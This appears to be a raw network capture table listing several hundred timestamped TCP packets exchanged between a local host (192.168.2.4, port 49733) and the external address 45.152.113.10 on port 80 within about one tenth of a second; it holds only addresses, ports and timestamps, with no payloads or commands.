Sep 11, 2024 22:52:07.603300095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603302002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603333950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603374958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603374958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603382111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603429079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603429079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603434086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603470087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603478909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603518009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603518009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603518009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603553057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603570938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603584051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603602886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603624105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603635073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603682995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603686094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603713989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603735924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603743076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603755951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603774071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603806019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603813887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603813887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603836060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603878021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603887081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603898048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603920937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603938103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603952885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603976011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603985071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603995085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604036093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604069948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604098082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604121923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604130030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604140997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604180098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604186058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604228973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604240894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604279041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604279995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604310989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604327917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604360104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604366064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604392052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604409933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604424953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604441881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604455948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604480028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604502916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604516029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604536057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604552984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604568005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604588032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604617119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604621887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604649067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604669094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604681015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604697943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604712963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604732990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604759932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604760885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604794025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604810953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604826927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604844093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604866982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604870081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604901075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604924917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604932070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604943037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604964972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.604983091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.604995012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605010986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605026960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605046988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605058908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605070114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605091095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605107069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605123043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605135918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605170012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605175018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605202913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605220079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605294943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605294943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605346918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605349064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605393887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605396986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605432034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605443001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605482101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605487108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605515957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605530977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605564117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605567932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605597973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605617046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605627060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605638981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605658054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605670929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605690956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605709076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605721951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605742931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605770111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605777979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605801105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605817080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605833054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605856895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605864048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605879068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605895042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605915070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605942011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605942965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.605973959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.605990887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606007099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606021881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606039047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606053114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606075048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606087923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606122017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606122971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606169939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606173038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606201887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606215954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606235027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606247902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606266975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606286049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606304884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606312990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606337070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606352091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606370926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606385946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606414080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606419086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606450081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606466055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606482029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606497049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606513977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606533051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606545925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606568098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606579065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606591940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606611013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606626987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606642008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606654882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606674910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606690884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606707096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606720924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606739044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606756926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606770039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606785059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606801033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606818914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606832027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606848001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606864929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606878996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606895924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606914043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606926918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606945992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606959105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.606965065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.606992006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607007027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607023954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607040882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607055902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607068062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607088089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607100964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607120991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607136011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607152939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607170105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607187033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607201099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607218027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607234001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607249975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607263088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607281923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607295990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607314110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607327938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607345104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607372046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607377052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607423067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607423067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607458115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607494116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607512951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607523918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.607541084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.607573986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.690963984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691028118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691050053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691085100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691111088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691132069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691176891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691229105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691231012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691268921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691281080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691318989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691320896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691351891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691366911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691401958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691454887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691461086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691461086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691488028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691510916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691519976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691535950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691551924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691576958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691584110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691601038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691617012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691636086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691644907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691665888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691677094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691684961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691709995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691726923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691742897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691754103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691776037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691792011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691807985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691824913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691858053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691864014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691890001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691904068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691940069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691940069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691968918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.691988945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.691999912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692015886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692049980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692049980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692081928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692099094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692112923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692117929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692161083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692161083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692197084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692209959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692250013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692282915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692316055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692332029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692348003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692368984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692397118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692397118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692430019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692446947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692466974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692477942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692496061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692512989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692529917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692553997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692579985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692585945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692611933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692631006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692660093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692662001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692706108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692728996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692739964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692756891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692771912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692785025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692811012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692837954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692842007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692856073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692890882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692899942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692938089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692949057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.692970991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.692991972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693001986 CEST	80	49733	45.152.113.10	192.168.2.4
